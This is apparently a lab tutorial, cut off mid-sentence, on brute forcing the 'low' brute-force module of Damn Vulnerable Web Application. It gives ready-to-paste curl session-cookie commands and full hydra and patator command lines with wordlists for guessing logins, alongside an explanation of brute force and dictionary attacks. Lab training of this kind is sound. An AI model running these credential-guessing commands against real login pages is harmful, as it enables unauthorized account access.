This post is a "how to" for the "brute force" module set to "low" level security inside of Damn Vulnerable Web Application (DVWA). There are separate posts for the medium level (time delay) and high setting (CSRF tokens). There is a related post for the login screen as it was also brute forced (HTTP POST form with CSRF tokens).

Once more, let's forget the credentials we used to login to DVWA with (admin:password).
Let's not try the default login for the web application.
Let's play dumb and brute force DVWA... again.
TL;DR: Quick copy/paste
| 1 2 3 4 5 6 7 8 9 10 11 12 13 | CSRF=$(curl -s -c dvwa.cookie "192.168.1.44/DVWA/login.php" \| awk -F 'value=' '/user_token/ {print $2}' \| cut -d "'" -f2) SESSIONID=$(grep PHPSESSID dvwa.cookie \| awk -F ' ' '{print $7}') curl -s -b dvwa.cookie -d "username=admin&password=password&user_token=${CSRF}&Login=Login" "192.168.1.44/DVWA/login.php" hydra -L /usr/share/seclists/Usernames/top_shortlist.txt -P /usr/share/seclists/Passwords/rockyou-40.txt \ -e ns -F -u -t 1 -w 10 -v -V 192.168.1.44 http-get-form \ "/DVWA/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:S=Welcome to the password protected area:H=Cookie\: security=low; PHPSESSID=${SESSIONID}" patator http_fuzz method=GET follow=0 accept_cookie=0 --threads=1 timeout=10 \ url="http://192.168.1.44/DVWA/vulnerabilities/brute/?username=FILE1&password=FILE0&Login=Login" \ 1=/usr/share/seclists/Usernames/top_shortlist.txt 0=/usr/share/seclists/Passwords/rockyou-40.txt \ header="Cookie: security=low; PHPSESSID=${SESSIONID}" \ -x quit:fgrep='Welcome to the password protected area' |
Objectives
- The goal is to brute force an HTTP login page.
- GET requests are made via a form.
- The web page is in a sub folder.
- Low
- Straight forward HTTP GET brute force attack via a web form.
- Bonus: SQL injection (~~See here for more information~~).
- Medium
- Extends on the "low" level - HTTP GET attack via a web form.
- Adds in a static time delay (3 seconds) on failed logins.
- High
- Extends on the "low" level - HTTP GET attack via a web form.
- This time uses a random time delay (between 0 and 4 seconds) instead.
- Uses an anti Cross-Site Request Forgery (CSRF) token.
- ~~Impossible~~
- Submits data via HTTP POST via web form
- Accounts will lock out after 5 failed logins.
- Time delay before becoming unlocked (15 minutes).
- Unable to enumerate users on the system.
- Possible "Denial of Service (DoS)" vector.
- ~~PHPIDS~~
- Does not protect against this attack.
- All attack methods are still the same!
Setup
- Main target: DVWA v1.10 (Running on
Windows Server 2012 Standard ENG x64+IIS 8). - Target setup does not matter too much for this -
Debian/Arch Linux/Windows,Apache/Nginx/IIS,PHP v5.x, orMySQL/MariaDB. - The main target is on the IP (
192.168.1.44), port (80) and subfolder (/DVWA/), which is known ahead of time. - Because the target is Windows, it does not matter about case sensitive URL requests (
/DVWA/vs/dvwa/). - Attacker: Kali Linux v2 (+ Personal Custom Post-install Script).
Both machines are running inside a Virtual Machine (VMware ESXi).
Tools
- cURL - Information gathering (used for viewing source code & to automate generating sessions).
- Could also use wget (
wget -qO -) instead. - Or using Burp/Iceweasel, however, it is harder to automate them due to them being graphical, which makes doing repetitive stuff boring.
- THC-Hydra v8.1 - A brute force tool.
- Patator v0.5 - An alternative brute force tool.
- Burp Proxy v16.0.1 - Debugging requests & brute force tool
- Using FoxyProxy to switch proxy profiles in Iceweasel.
- SecLists - General wordlists.
- These are common, default and small wordlists.
- Instead of using a custom built wordlist, which has been crafted for our target (e.g. generated with CeWL).
- Failed brute force tools:
- Medusa v2.1.1 - segmentation faults when sending a custom header and HTTP 200 response.
- Metasploit v4.11.4-2015090201 -
auxiliary/scanner/http/http_logindoes HTTP basic authentication, not web forms. - Ncrack v0.4 ALPHA - HTTP module only supports HTTP basic access authentication, not web forms.
- Nmap v6.49 BETA5 -
http-form-brutelacks required options to-do the attack (as it cannot send custom headers).
What is brute force?
For the people who are unaware of "brute force attacks", here is an overview of the most common points:
- Brute forcing is a trial and error method of repeatedly trying out a task, sequentially changing a value each time, until a certain result is achieved.
- So it forces its way in, and does not take "no" for an answer.
- The values used in the attack may be predefined in a file (often called a wordlist or dictionary file - there is not a difference between terms), where only these certain values are used. Alternatively, every possible combination could be used in a given range. Example:
- Brute force attack:
AAA->AAB->AAC-> ... ->ZZY->ZZZ - Dictionary attack:
ANT->BED->CCC->DOG->EEE->HOG - The values used & the order of them, all depends on how the attacker performs the attack.
- A brute force attack will cover everything in its range; however, it will take longer than a dictionary attack based on the total amount of combinations.
- A dictionary attack will use the pre-compiled values. However, there are values tools out there to "mangle" the wordlist in various ways, allowing for more possibilities and total combinations. An example:
password->password1999(year at the end).password->p@$$w0rd(1337 speak). The original value (password) is called "base word". - The best wordlist to use is one customized to the target. When using general wordlists, check for:
- Leading/trailing spaces/tabs -
^ password$,^password$,^password $(forgive the regular expressions!) - Duplicated entries (case sensitive!) -
password,farm,PASSWORD,mouse,password,horse,Password - The ordering of the list -
common_password,uncommon_password - If it is just base words -
password,password99,password1999,p@55w0rd - The language -
password,motdepasse,passwort,clave - In a brute force attack, multiple wordlists could be used. Example: one for the password, one for the username. The attacker may loop through all the passwords, before trying the next username or vice versa. Alternatively, the username and password lists may be increased at the same time.
- An online attack refers to the attack being a network service, on a machine which is not the attacker's (aka a "remote machine"). An offline attack would be local to the attacker's machine.
- A brute force attack speed runs at the slowest point. If it is an online attack, this is often the network connection, whereas, offline is commonly the CPU/GPU speed. Offline attacks are normally much quicker than online ones.
- There are various ways to speed up brute force attacks, normally by increasing threads. This is how many tasks/requests are performed at once. Not using enough, means there could be additional performance gained as not all the resources are being used. However, using too many will overload causing, it to perform slower or to miss a successful attempt.
Creating a Session Cookie
To get the web form that we want to brute force (http://192.168.1.44/DVWA/vulnerabilities/brute/), we must already be logged in. This in itself is a bit of an odd thing to-do as most of the time, you would not be authenticated hence the brute forcing... Anyway, as we are going to be using a lot of command line tools, we need to create an active and valid session to interact with DVWA. Normally, you would not have to-do this. This is just for DVWA.
I'm going to be re-running these commands often, however, this is overkill. This is because it will make it easier for people who are copying/pasting or stop/starting a lot (hence their session times out) or people jumping around the page (skipping sections out). As long as the admin's password has not been changed from the default value (password), this will work (depending on your target's IP address).
| 1 2 3 4 5 6 | [root:~]# CSRF=$(curl -s -c dvwa.cookie 'http://192.168.1.44/DVWA/login.php' \| awk -F 'value=' '/user_token/ {print $2}' \| cut -d "'" -f2) [root:~]# curl -s -b dvwa.cookie --data "username=admin&password=password&user_token=${CSRF}&Login=Login" "http://192.168.1.44/DVWA/login.php" <head><title>Document Moved</title></head> <body><h1>Object Moved</h1>This document may be found <a HREF="index.php">here</a></body># [root:~]# sed -i '/security/d' dvwa.cookie [root:~]# |

Note, depending on the web server & its configuration, it may respond slightly differently (in the screenshot: 192.168.1.11 is Nginx,192.168.1.22 is Apache & 192.168.1.44 is IIS). This is a possible method to fingerprint an IIS web server.
The first line grabs the "Anti Cross-Site Request Forgery (CSRF)" token (as explained when brute forcing the main login page), and extracts the user_token field) which will be a unique value each time and paired to the session ID. We then send a request that would be the same as filling in the form with the user credentials (again, see the main login page being brute forced to see how this was constructed), using the same cookie which was set from our first request. Lastly we remove the security level from the cookie value. As this would be a "static" value, and ideally we want it to be "dynamic" (so we can change the level based in our request).
Information Gathering
If this was a "real world" scenario, we would clone the target's production setup as best we could (e.g. find if it is using "off the shelf" software, web server information, what versions etc.) and clone it into a test lab. This means we could fully control the web application, allowing us to understand it better. For example, we could create a user on the system and watch how the program responses with a successful login, rather than just guessing and hoping.
However, we will take a slightly different approach as this shows why doing information gathering as you go along is important as well using different techniques and methods.
Form HTML Code
The first thing we want to-do is to see what we are going up against. Same idea as before; let's see the returned HTML code. This is done by using sed to extract between the HTML tags we want (known ahead of time).
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | [root:~]# curl -s -b 'security=low' -b dvwa.cookie 'http://192.168.1.44/DVWA/vulnerabilities/brute/' \| sed -n '/<div class="body_padded/,/<\/div/p' < div class="body_padded"> <h1>Vulnerability: Brute Force</h1> <div class="vulnerable_code_area"> <h2>Login</h2> <form action="#" method="GET"> Username:<br /> <input type="text" name="username"><br /> Password:<br /> <input type="password" AUTOCOMPLETE="off" name="password"><br /> <br /> <input type="submit" value="Login" name="Login"> </form> </div> <div class="body_padded"><div class="message">You have logged in as 'admin'</div></div> </div> [root:~]# |

sed -n '/<div class="body_padded/,/<\/div/p'extracts everything between<div class="body_paddedand its matching `